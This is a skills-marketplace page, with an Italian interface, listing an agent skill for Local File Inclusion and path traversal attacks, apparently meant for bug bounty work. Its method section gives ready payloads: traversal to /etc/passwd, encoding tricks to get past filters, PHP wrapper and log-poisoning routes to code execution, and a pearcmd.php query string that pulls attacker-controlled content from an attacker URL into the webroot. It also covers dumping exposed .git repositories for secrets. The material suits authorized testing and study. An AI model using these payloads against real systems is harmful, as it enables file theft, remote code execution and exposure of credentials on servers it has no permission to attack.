Vai al contenuto
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
noorqureshi/web-lfi-path-traversalWeb e bug bounty

web-lfi-path-traversal

⁨Local File Inclusion / path traversal → read files, sometimes RCE. Load when a param names a file/path/template/page: ?file=, ?page=, ?template=, ?download=, ?lang=, or path segments. Signals: filenames in params, "include", download endpoints, `../` filtered, `.php?page=`.⁩

v2026.10.14-ee0e0c53 installazioni+3 in 7 giorni27 StelleMITsincronizzato 22 ore fa

Installa

Non hai ancora la CLI di NotHoly? Installala prima.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install noorqureshi/web-lfi-path-traversal

Scrive in ⁦~/.notholy/skills⁩ dopo aver controllato la firma e lo SHA-256.

FirmaFirmato, ed25519
hGrf3nWFpu…+jKWlzAQ==La CLI controlla lo SHA-256 e la firma prima di scrivere qualsiasi file.
Pacchetto0865eb91…43298704
0865eb9147a2…8769432987041 file · ⁦1.6 KB⁩
ScansioneBassonessuna segnalazione
La scansione non ha trovato nulla da segnalare in questa versione.Vedi la scansione completa
Sorgentegithub.com/NoorQureshi/security-skills/tree/main/skills/web/web-lfi-path-traversal@ee0e0c5

Questa voce non è ancora scritta in italiano, quindi è mostrata in un'altra lingua: English.

When it applies

A parameter or path segment controls which file the server reads/includes. Path traversal reads arbitrary files; LFI (include) can execute them → RCE.

Why it works

The app builds a filesystem path from user input without normalizing/constraining it, so ../ sequences escape the intended directory. If the value is included (PHP), included content is executed.

Method

  1. Read a canary: ?file=/etc/passwd, then traversal ?file=../../../../etc/passwd; on Windows ..\..\..\windows\win.ini.
  2. Defeat filters: URL-encode ..%2f, double ..%252f, ....// (strip-once), overlong %c0%af, null %00 (old PHP), absolute paths, nested .....
  3. PHP wrappers → source/RCE: php://filter/convert.base64-encode/resource=index.php (read source), data:///expect://, and log poisoning (write PHP into a log via User-Agent, then include the log) or session//proc/self/environ inclusion for RCE.
  4. PEAR pearcmd.php LFI→RCE (very common on PHP hosts with register_argc_argv=On and PEAR installed): include /usr/local/lib/php/pearcmd.php and pass args via the query string, e.g. ?file=/usr/local/lib/php/pearcmd.php&+install+--installroot=/var/www/html+<attacker.tgz-URL> to write attacker-controlled content into the webroot, then request it. The trick is that register_argc_argv lets pearcmd read argv from the URL query — no upload needed.
  5. Enumerate targets: config files, keys, app source, history files, and an exposed /.git/ (grab .git/HEAD/config → dump the repo → git log -p for deleted secrets); ffuf a LFI wordlist.

Gotchas

  • A forced extension (include $p.".php") blocks arbitrary read → try wrappers or null byte (old PHP).
  • Traversal (read-only) vs LFI (include→exec) are different ceilings — check whether output is executed.
  • Read the app's own source via php://filter to find the next bug faster.

Verify success

Contents of a file outside the intended directory returned (e.g. /etc/passwd, app config/ source), or code execution via a wrapper/log-poisoning include.

References

PortSwigger path-traversal labs; LFI-to-RCE cheat sheets; OWASP path traversal.

File di questa versione

Permessi

PermessoDichiaratoTrovato dalla scansione
Legge fileNoNo
Scrive fileNoNo
Esegue comandi shellNoNo
Usa la reteNoNo
Usa i connettoriNoNo
Controlla un browserNoNo

Segnalazioni della scansione

Rivisto il 13 nov 2026

La scansione non ha trovato nulla da segnalare in questa versione.

Una scansione pulita abbassa il rischio, ma non prova che il pacchetto sia sicuro. Leggi quello che installi.

VersionePubblicataCommitSHA-256FirmaCambio di permessi
v2026.10.14-ee0e0c513 nov 2026ee0e0c50865eb91Firmata–

Chiedi tutto quello che il tuo perimetro consente.

Crea un account, aggiungi crediti e fai la prima domanda in chat o nel terminale.

  1. 1/3

    Crea l'account

    Privato o azienda. Puoi passare ad azienda in seguito senza perdere saldo o chiavi.

    PrivatoAzienda
  2. 2/3

    Aggiungi crediti

    Con carta. Paghi a token, senza abbonamento.

    $5.00ricarica minima
  3. 3/3

    Chiedi

    In chat, oppure installa la CLI ed esegui notholy login nel terminale.

    $ notholy login